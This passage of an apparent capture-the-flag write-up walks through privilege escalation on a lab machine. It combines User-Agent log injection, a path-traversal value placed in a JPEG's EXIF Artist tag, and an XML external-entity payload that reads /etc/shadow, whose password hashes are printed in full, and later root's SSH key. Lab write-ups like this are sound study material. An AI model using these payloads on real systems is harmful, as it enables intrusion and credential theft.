        System.out.println("interceptor#preHandle called. Thread: " + Thread.currentThread().getName());
        return true;
    }
    @Override
    public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("interceptor#postHandle called. Thread: " + Thread.currentThread().getName());
        String UserAgent = request.getHeader("User-Agent");
        String remoteAddr = request.getRemoteAddr();
        String requestUri = request.getRequestURI();
        Integer responseCode = response.getStatus();
        /*System.out.println("User agent: " + UserAgent);
        System.out.println("IP: " + remoteAddr);
        System.out.println("Uri: " + requestUri);
        System.out.println("Response code: " + responseCode.toString());*/
        System.out.println("LOG: " + responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri);
        FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
        BufferedWriter bw = new BufferedWriter(fw);
        bw.write(responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri + "\n");
        bw.close();
    }
}

Hmm, this at least is modifying a file on the system... What's in the file?

cat /opt/panda_search/redpanda.log

Empty? Let's see if I can modify it by making requests to the server... I loaded the index and:

200||10.10.16.2||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/

Okay, so this is only actually useful if I can make it read/write as root for me... Let's take a closer look at the write commands:

bw.write(responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri + "\n");

Can I tamper with this? Well actually, we control 'User-Agent' header, and it is not escaped before writing it to the file. So we may be able to inject commands here, similar to what we preformed earlier. If this is running as root, we may be able to read files as root. Maybe there's an easy way in after that? To test the theory, let's mess around with Curl:

curl $TARGET:8000 -H "User-Agent: xyz"

Result:

│200||10.10.16.2||xyz||/

Okay...

+------------+-----------+
| USER-AGENT |  LOG LINE |
+------------+-----------+
|            |           |
| #{7*7}     |  #{7*7}   |
|            |           |
| aa\\       | aa\       |
|            |           |
| aa\\\\     | aa\\      |
|            |           |
| aa'        | aa'       |
|            |           |
| aa\"       | aa"       |
+------------+-----------+

Not really hitting anything here, this may be useful later though. I'd love to find a cronjob that's deleting this file all the time or something... but I can't find anything. I have no idea what's cleaning up this file. Moving on, what other parts of the application can we try to poke at? There are still two java files I haven't looked at, App and AppTest in the Credit Score thing. Perhaps that's supposed to be tracking how many views each image gets? It didn't actually update for me while I was exploring though so maybe it's just some built-in thing? cat /opt/credit-score/LogParser/final/src/test/java/com/logparser/AppTest.java

package com.logparser;
import static org.junit.Assert.assertTrue;
import org.junit.Test;
/**
 * Unit test for simple App.
 */
public class AppTest
{
    /**
     * Rigorous Test :-)
     */
    @Test
    public void shouldAnswerWithTrue()
    {
        assertTrue( true );
    }
}

cat /opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java

package com.logparser;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.imaging.jpeg.JpegProcessingException;
import com.drew.metadata.Directory;
import com.drew.metadata.Metadata;
import com.drew.metadata.Tag;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;
public class App {
    public static Map parseLog(String line) {
        String[] strings = line.split("\\|\\|");
        Map map = new HashMap<>();
        map.put("status_code", Integer.parseInt(strings[0]));
        map.put("ip", strings[1]);
        map.put("user_agent", strings[2]);
        map.put("uri", strings[3]);
        return map;
    }
    public static boolean isImage(String filename){
        if(filename.contains(".jpg"))
        {
            return true;
        }
        return false;
    }
    public static String getArtist(String uri) throws IOException, JpegProcessingException
    {
        String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
        File jpgFile = new File(fullpath);
        Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
        for(Directory dir : metadata.getDirectories())
        {
            for(Tag tag : dir.getTags())
            {
                if(tag.getTagName() == "Artist")
                {
                    return tag.getDescription();
                }
            }
        }
        return "N/A";
    }
    public static void addViewTo(String path, String uri) throws JDOMException, IOException
    {
        SAXBuilder saxBuilder = new SAXBuilder();
        XMLOutputter xmlOutput = new XMLOutputter();
        xmlOutput.setFormat(Format.getPrettyFormat());
        File fd = new File(path);
        Document doc = saxBuilder.build(fd);
        Element rootElement = doc.getRootElement();
        for(Element el: rootElement.getChildren())
        {
            if(el.getName() == "image")
            {
                if(el.getChild("uri").getText().equals(uri))
                {
                    Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
                    System.out.println("Total views:" + Integer.toString(totalviews));
                    rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
                    Integer views = Integer.parseInt(el.getChild("views").getText());
                    el.getChild("views").setText(Integer.toString(views + 1));
                }
            }
        }
        BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
        xmlOutput.output(doc, writer);
    }
    public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
        File log_fd = new File("/opt/panda_search/redpanda.log");
        Scanner log_reader = new Scanner(log_fd);
        while(log_reader.hasNextLine())
        {
            String line = log_reader.nextLine();
            if(!isImage(line))
            {
                continue;
            }
            Map parsed_data = parseLog(line);
            System.out.println(parsed_data.get("uri"));
            String artist = getArtist(parsed_data.get("uri").toString());
            System.out.println("Artist: " + artist);
            String xmlPath = "/credits/" + artist + "_creds.xml";
            addViewTo(xmlPath, parsed_data.get("uri").toString());
        }
    }
}
  • Right away it's evident this is actually part of the application due to the hardcoded systme paths to panda_search so we may be on the right track.
  • Oh This is what's cleaning up that log file! Every time this executes, it creates a new log file there.
  • OOHH IT'S READING THE LOG FILE TOO!
  • Wait, is THIS app running as root? All I can see running is panda_search.jar, what is even executing this thing?
  • Hmm, we can infer who is running it by the ownership of the log file right? And.. it's owned by Root!
  • So, each line of the file is read by parseLog parseLog:
    public static Map parseLog(String line) {
        String[] strings = line.split("\\|\\|");
        Map map = new HashMap<>();
        map.put("status_code", Integer.parseInt(strings[0]));
        map.put("ip", strings[1]);
        map.put("user_agent", strings[2]);
        map.put("uri", strings[3]);
        return map;
    }

There's not much to see here, it would be pretty badass to exploit a hashmap alone. Moving on, where does this Map go? Well, the endpoint is addViewTo which writes a file:

    public static void addViewTo(String path, String uri) throws JDOMException, IOException
    {
        ...
        BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
        xmlOutput.output(doc, writer);
    }

Who are these files owned by?

$ ls -al /credits
total 16
drw-r-x---  2 root logs 4096 Jun 21 12:32 .
drwxr-xr-x 20 root root 4096 Jun 23 14:52 ..
-rw-r-----  1 root logs  422 Jun 21 12:31 damian_creds.xml
-rw-r-----  1 root logs  426 Nov 18 20:52 woodenk_creds.xml

Okay good, can we trick this into reading/writing from somewhere else? How does the function calculate doc:

    public static void addViewTo(String path, String uri) throws JDOMException, IOException
    {
        File fd = new File(path);
        Document doc = saxBuilder.build(fd);
        xmlOutput.output(doc, writer);
    }

And what is path passed in as?

    public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
        File log_fd = new File("/opt/panda_search/redpanda.log");
        Scanner log_reader = new Scanner(log_fd);
        while(log_reader.hasNextLine())
        {
            String line = log_reader.nextLine();
            if(!isImage(line))
            {
                continue;
            }
            Map parsed_data = parseLog(line);
            String artist = getArtist(parsed_data.get("uri").toString());
            System.out.println("Artist: " + artist);
            String xmlPath = "/credits/" + artist + "_creds.xml";
            addViewTo(xmlPath, parsed_data.get("uri").toString());
        }
    }

Well, the best we can do here is write a new file somewhere ending in _creds.xml. That's not very useful. Can we instead trick this into reading an arbitrary file on the system? Where does data come from?

  • read the log file from static location
  • For each line in the file...
    • check if the line is an image (just checks that .jpg appears somewhere in the log)
    • parse the log line into a map of key/value pairs
    • [**] Reads a JPG from a path built from uri
    • [**] Resolves the Artist tag from the file into a string
    • Prints the result to stdout ( Can we view this? )
    • Loads an XML file from /credits/Artist_creds.xml
    • Writes a processed version of the file back to load path (Attempts to update the file) Okay, THIS IS IT! I think this is the exploit path:
  1. Craft a malicious Jpg with an Artist tag equals to controlled
  2. Craft an XML file, written to /credits/controlled_creds.xml which tricks the parser into reading an arbitrary file from totalviews?
  3. Tamper with URI such that getArtist reads our malicious jpg and updates our xml file with the file payload How exactly do we do step 2... Now that we can assume we control the initial XML file let's have a closer look at addViewTo.
  • Processes the file with SAXBuilder
  • Iterates over elements of the file until it finds image
  • Asserts that uri in image is equal to uri given to function
  • parses views and an int, increments it and writes it back to the file This seems like a tall order. Maybe the last part of parsing an int doesn't matter, maybe we can abuse SAXBuilder to execute some code in the XML file? Time to doc dive... Here's the docs for SAXBuilder. Known Issues:
    Relative paths for a DocType or EntityRef may be converted by the SAX parser into absolute paths.
    SAX does not recognise whitespace character content outside the root element (nor does JDOM) so any formatting outside the root Element will be lost. 

Those could be useful hints. The constructor used here creates a non validating parser, that will probably help us. Other than that, not much. What about the Output path? Here's the docs for XMLOutputter. format.getPrettyFormat():

Returns a new Format object that performs whitespace beautification with 2-space indents, uses the UTF-8 encoding, doesn't expand empty elements, includes the declaration and encoding, and uses the default entity escape strategy. Tweaks can be made to the returned Format instance without affecting other instances.

Other than that, nothing really spicey. I should go look at general XML Injection vulnerabilities to get some ideas. Aahh we may be able to read an arbitrary file by adding a <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> to our document! Let's try that... Starting from the Log Line:

200 || 10.10.16.2 || Doesn't Matter || **URI**

So we simply set the URL of the request to contain the path to the image we write to /opt/panda_search/src/main/resources/static, let's say salmonsec.jpg We need to write the value of Artist in the Image to be some fixed string, let's use salmonsec.

  1. Craft a malicious image with Artist == salmonsec, write to /opt/panda_search/src/main/resources/static/img/salmonsec.jpg
  2. Write an XML file to /credits/salmonsec_creds.xml, copy an existing example but also add <!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
  3. Curl request to target curl $TARGET:8080/salmonsec.jpg
  4. Check content of the XML file to hopefully get the content of /etc/shadow Alright how do we control the Artist tag of an image? Apparently with ExifTool. I took a random image from google and set the Artist file:
wget <imageURL>
$ exiftool -artist=salmonsec salmonsec.jpg
    1 image files updated

And here's my XML File:

<?xml version="1.0" encoding="UTF-8"?>
<credits>
  <author>salmonsec</author>
  <image>
    <uri>/img/salmonsec.jpg</uri>
    <views>1</views>
  </image>
  <totalviews>3</totalviews>
  <!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
</credits>

Now let's give it a shot!

cd /opt/panda_search/src/main/resources/static/img/ && touch 'salmonsec'
touch: cannot touch 'salmonsec.jpg': Permission denied

Uh oh... uuhh. Wait so the path is String fullpath = "/opt/panda_search/src/main/resources/static" + uri;. Perhaps I can just do write it into /tmp and set uri as ../../ etc. Can I write to the XML location?! Nope. Okay well... Maybe I can set Author as an existing author, but close the tag myself and inject my payload? Oh boy... So Author would be?

damian</author><!ENTITY xxe SYSTEM "file:///etc/shadow" >]><author>

And URL should be ../../../../../tmp/shy.jpg because we need to now match an existing entry in damian's stats. Alright:

# My host
exiftool -artist='damian</author><!ENTITY xxe SYSTEM "file:///etc/shadow" >]><author>' salmonsec.jpg
python -m http.server
# Target via Sliver Session shell
cd /tmp && wget 
curl 10.10.11.170:8080/../../../../../../tmp/shy.jpg

From the redpanda.log I'm not seeing the ../'s come through... Ah wait look at this:

        String[] strings = line.split("\\|\\|");
        map.put("user_agent", strings[2]);
        map.put("uri", strings[3]);

I can simply override the URI from user_agent by adding ||

curl -H "User-Agent: salmonsec||../../../../../../tmp/shy.jpg" 10.10.11.170:8080/
# Log Output
200||10.10.16.14||salmonsec||../../../../../../tmp/shy.jpg||/

I waited for the log to clear, and therefore for the credits code to execute but no change to the xml file. Oh wait we can totally make it parse our own XML file, duh. It took a break to realize my mistake. Also, I can't set the author My XML:

<?xml version="1.0" encoding="UTF-8"?>
<credits>
  <author>salmonsec</author>
  <image>
    <uri>../../../../../../tmp/salmonsec.jpg</uri>
    <views>1</views>
  </image>
  <totalviews>3</totalviews>
  <!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
</credits>

Image Update:

exiftool -artist='../tmp/salmonsec' salmonsec.jpg

And...

cd /tmp
wget 10.10.16.14:8000/salmonsec.jpg
wget 10.10.16.14:8000/salmonsec_creds.xml
curl -H "User-Agent: salmonsec || ../../../../../../tmp/salmonsec.jpg" 10.10.11.170:8080/
# Log
200||10.10.11.170||salmonsec || ../../../../../../tmp/salmonsec.jpg||/

And nothing. Am I using the tag correctly? NOPE Try again:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<credits>
  <author>salmonsec</author>
  <image>
    <uri>../../../../../../tmp/salmonsec.jpg</uri>
    <views>1</views>
  </image>
  <totalviews>3</totalviews>
  
</credits>

Wait for logs to clear... It still didn't work! Grr. I re-checked my paths, Artist header and tried again. The only thing that didn't seem to match was some whitespace, so I removed that... no dice. Oh, I think I'm using the fking XML syntax wrong again. I need a damn field to replace!

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE credits [ <!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<credits>
  <author>salmonsec</author>
  <image>
    <pwn>&xxe;</pwn>
    <uri>../../../../../../tmp/salmonsec.jpg</uri>
    <views>1</views>
  </image>
  <totalviews>3</totalviews>
  
</credits>

I mucked about with this until it worked, I'm honestly not sure which change did it...

<!DOCTYPE foo [<!ENTITY file SYSTEM "file:///etc/shadow"> ]>
<credits>
  <author>salmonsec</author>
  <image>
    <data>&file;</data>
    <uri>/../../../../../../tmp/salmonsec.jpg</uri>
    <views>0</views>
  </image>
  <totalviews>2</totalviews>
</credits>

Artist:

exiftool -artist='../tmp/salmonsec' salmonsec.jpg

Curl:

curl -H "User-Agent:||/../../../../../../tmp/salmonsec.jpg" 10.10.11.170:8080/

Output:

 cat salmonsec_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
  <author>salmonsec</author>
  <image>
    <data>root:$6$HYdGmG45Ye119KMJ$XKsSsbWxGmfYk38VaKlJkaLomoPUzkL/l4XNJN3PuXYAYebnSz628ii4VLWfEuPShcAEpQRjhl.vi0MrJAC8x0:19157:0:99999:7:::
daemon:*:18375:0:99999:7:::
bin:*:18375:0:99999:7:::
sys:*:18375:0:99999:7:::
sync:*:18375:0:99999:7:::
games:*:18375:0:99999:7:::
man:*:18375:0:99999:7:::
lp:*:18375:0:99999:7:::
mail:*:18375:0:99999:7:::
news:*:18375:0:99999:7:::
uucp:*:18375:0:99999:7:::
proxy:*:18375:0:99999:7:::
www-data:*:18375:0:99999:7:::
backup:*:18375:0:99999:7:::
list:*:18375:0:99999:7:::
irc:*:18375:0:99999:7:::
gnats:*:18375:0:99999:7:::
nobody:*:18375:0:99999:7:::
systemd-network:*:18375:0:99999:7:::
systemd-resolve:*:18375:0:99999:7:::
systemd-timesync:*:18375:0:99999:7:::
messagebus:*:18375:0:99999:7:::
syslog:*:18375:0:99999:7:::
_apt:*:18375:0:99999:7:::
tss:*:18375:0:99999:7:::
uuidd:*:18375:0:99999:7:::
tcpdump:*:18375:0:99999:7:::
landscape:*:18375:0:99999:7:::
pollinate:*:18375:0:99999:7:::
sshd:*:18389:0:99999:7:::
systemd-coredump:!!:18389::::::
lxd:!:18389::::::
usbmux:*:18822:0:99999:7:::
woodenk:$6$48BoRAl2LvBK8Zth$vpJzroFTUyQRA/UQKu64uzNF6L7pceYAe.B14kmSgvKCvjTm6Iu/hSEZTTT8EFbGKNIbT3e2ox3qqK/MJRJIJ1:19157:0:99999:7:::
mysql:!:19157:0:99999:7:::</data>
    <uri>/../../../../../../tmp/salmonsec.jpg</uri>
    <views>1</views>
  </image>
  <totalviews>3</totalviews>
</credits>

I dropped the root hash into crackstation... no luck. Well I can potentially brute force this. Perhaps I can just grab an SSH key though wouldn't that be nice... I just changed the payload of the XML to grab /root/.ssh/id_rsa AND GOT IT! 5